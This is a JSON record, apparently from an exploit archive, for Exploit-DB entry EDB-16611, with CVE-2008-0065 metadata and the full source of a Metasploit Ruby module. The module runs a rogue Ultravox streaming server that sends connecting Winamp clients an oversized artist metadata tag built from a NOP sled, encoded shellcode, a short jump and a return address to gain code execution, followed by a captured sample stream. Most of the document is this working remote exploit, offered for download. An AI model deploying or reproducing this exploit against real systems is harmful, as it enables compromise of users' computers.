{"exploit":{"id":"EDB-16611","name":"Winamp Ultravox Streaming Metadata 'in_mp3.dll' - Remote Buffer Overflow (Metasploit)","description":"Winamp Ultravox Streaming Metadata 'in_mp3.dll' - Remote Buffer Overflow (Metasploit)","cves":["CVE-2008-0065"],"author":"Metasploit","published":"2010-05-09","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16611","path":"exploits/windows/remote/16611.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16611.rb","vulnerabilities":[{"id":"CVE-2008-0065","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple stack-based buffer overflows in in_mp3.dll in Winamp 5.21, 5.5, and 5.51 allow remote attackers to execute arbitrary code via a long (1) artist or (2) name tag in Ultravox streaming metadata, related to construction of stream titles.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-0065","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-0065"},"updatedAt":"2024-08-07T07:32:23.788Z","retrievedAt":"2026-11-27T05:09:15.206Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16611.png?v=2","url":"https://exploitbin.com/exploits/EDB-16611","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16611/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16611/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: winamp_ultravox.rb 9262 2010-05-09 17:45:00Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = NormalRanking\n\n\tinclude Msf::Exploit::Remote::TcpServer\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Winamp Ultravox Streaming Metadata (in_mp3.dll) Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack buffer overflow in Winamp 5.24. By\n\t\t\t\tsending an overly long artist tag, a remote attacker may\n\t\t\t\tbe able to execute arbitrary code. This vulnerability can be\n\t\t\t\texploited from the browser or the winamp client itself.\n\t\t\t},\n\t\t\t'Author'         => 'MC',\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 9262 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2008-0065' ],\n\t\t\t\t\t[ 'OSVDB', '41707' ],\n\t\t\t\t\t[ 'BID', '27344' ],\n\t\t\t\t],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'process',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 700,\n\t\t\t\t\t'BadChars' => \"\\x00\\x09\\x0a\\x0d\\x20\\x22\\x25\\x26\\x27\\x2b\\x2f\\x3a\\x3c\\x3e\\x3f\\x40\",\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t\t'PrependEncoder' => \"\\x81\\xc4\\xff\\xef\\xff\\xff\\x44\",\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Winamp 5.24', { 'Ret' => 0x15010d3e } ],\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'DisclosureDate' => 'Jan 18 2008',\n\t\t\t'DefaultTarget'  => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptPort.new('SRVPORT', [ true, \"The HTTP daemon port to listen on.\", 8080 ])\n\t\t\t], self.class)\n\tend\n\n\tdef on_client_connect(client)\n\t\treturn if ((p = regenerate_payload(client)) == nil)\n\n\t\tres = client.get_once\n\n\t\tcontent =  \"\\x00\\x01\\x00\\x01\\x00\\x01\" + \"<metadata><song><artist>\"\n\t\tcontent << make_nops(3828 - payload.encoded.length) + payload.encoded\n\t\tcontent << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')\n\t\tcontent << [0xe8, -850].pack('CV') + rand_text_alpha_upper(1183)\n\t\tcontent << \"</artist></song></metadata>\"\n\n\t\tsploit =  \"\\x5a\\x00\\x39\\x01\" + [content.length].pack('n')\n\t\tsploit << content + \"\\x00\"\n\n\t\t# randomize some stuff.\n\t\tnum    = rand(65535).to_s\n\n\t\theader =  \"HTTP/1.0 200 OK\\r\\n\"\n\t\theader << \"Server: Ultravox 3.0\\r\\n\"\n\t\theader << \"Content-Type: misc/ultravox\\r\\n\"\n\t\theader << \"Ultravox-SID: #{num}\\r\\n\"\n\t\theader << \"Ultravox-Avg-Bitrate: #{num}\\r\\n\"\n\t\theader << \"Ultravox-Max-Bitrate: #{num}\\r\\n\"\n\t\theader << \"Ultravox-Max-Msg: #{num}\\r\\n\"\n\t\theader << \"Ultravox-Stream-Info: Ultravox;Live Stream\\r\\n\"\n\t\theader << \"Ultravox-Msg-Que: #{num}\\r\\n\"\n\t\theader << \"Ultravox-Max-Fragments: 1\\r\\n\\r\\n\"\n\t\theader << sploit\n\n\t\tprint_status(\"Sending #{header.length} bytes to #{client.peerhost}:#{client.peerport}...\")\n\n\t\tclient.put(header)\n\t\thandler(client)\n\n\t\tservice.close_client(client)\n\tend\n\nend\n\n\n=begin\nHTTP/1.0 200\n.Server: Ultravo\nx 3.0..Content-T\nype: misc/ultrav\nox..Ultravox-SID\n: 22221..Ultravo\nx-Avg-Bitrate: 6\n4000..Ultravox-M\nax-Bitrate: 9600\n0..Ultravox-Max-\nMsg: 16000..Ultr\navox-Stream-Info\n: Ultravox;Live\nStream..Ultravox\n-Msg-Que: 39..Ul\ntravox-Max-Fragm\n\nZ.9..,......<met\nadata><length>0<\n/length><soon>Mo\nre on\n</soon><song><na\nme>The Night\nghts In\ntin</name><album\n>Days Of\nPassed</album><a\nrtist>The Moody\nBlues</artist><a\nlbum_art>xm/stat\nion_logo_WBCRHT.\njpg</album_art><\nalbum_art_200>xm\n/station_logo_WB\nCRHT_200.jpg</al\nbum_art_200><ser\nial>-1</serial><\nsong_id>-1</song\n_id><amg_song_id\n>-1</amg_song_id\n><amg_artist_id>\n-1</amg_artist_i\nd><amg_album_id>\n-1</amg_album_id\n><itunes_song_id\n>-1</itunes_song\n_id><itunes_arti\nst_id>-1</itunes\n_artist_id><itun\nes_album_id>-1</\nitunes_album_id>\n</song></metadat\na>.Z.......\\./!.\n!.UP.......B...&\nZ....D)ydB.,.vy/\n=end","sha256":"b7133a1486de47aaf39bdd1b631bb3d63118c2fcb10eb3529c6266e0e3628cda","bytes":3856,"fetchedAt":"2026-11-27T05:09:13.460Z","encoding":"utf-8 (display only; download retains original bytes)"}